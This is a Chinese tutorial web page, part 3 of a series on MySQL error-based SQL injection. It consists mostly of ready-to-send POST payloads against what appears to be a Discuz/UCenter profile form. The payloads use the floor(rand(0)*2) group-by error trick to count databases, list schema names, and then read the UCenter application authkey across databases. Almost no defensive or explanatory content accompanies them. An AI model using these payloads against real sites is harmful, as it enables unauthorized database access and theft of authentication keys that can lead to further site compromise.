你的位置:聚盟网 >> 网络学院 >> 入门 >> 详细内容 在线投稿

mysql暴错注入的科普 3

www.juoooo.com  2011年9月22日23:03  来源: 互联网   查看:   我要评论(0)  收藏  字号: TTT

跨库爆出uckey,跨库到ucenter进行查询,这里我就不详叙了,都截图吧。

 

爆出数据库的个数

profilesubmit=1&formhash=232d1c54&info[a',(select 1 from(select count(*),concat((SELECT concat(substring(count(*),1,64)) FROM information_schema.SCHEMATA),floor(rand(0)* 2))x from information_schema.tables group by x)a),'1')#]=1

逐个爆出数据库名

profilesubmit=1&formhash=232d1c54&info[a',(select 1 from(select count(*),concat((SELECT concat(substring(SCHEMA_NAME,1,64)) FROM information_schema.SCHEMATA limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),'1')#]=1

profilesubmit=1&formhash=232d1c54&info[a',(select 1 from(select count(*),concat((SELECT concat(substring(SCHEMA_NAME,1,64)) FROM information_schema.SCHEMATA limit 2,1),floor(rand(0)*2))x from information_schema.tables group by x)a),'1')#]=1

最后猜出库名ucenter后,再跨库爆出uckey

profilesubmit=1&formhash=232d1c54&info[a',(select 1 from(select count(*),concat((Select concat(substring(authkey,1,64)) FROM ucenter.uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),'1')#]=1

编辑: 伊小露
分享到:
顶:59 踩:85
【已经有424人表态】
63票
超赞
48票
震惊
53票
不解
55票
愤怒
45票
支持
51票
高兴
52票
无聊
57票
杯具
发表评论

网友评论仅供网友表达个人看法,并不表明本网同意其观点或证实其描述。

查看全部回复【已有0位网友发表了看法】
糗事吧 牛吧 私房话 经典吧
祝福墙许愿墙
随手记-天天记帐本
邀请达人
2013祝福短信,节日祝福语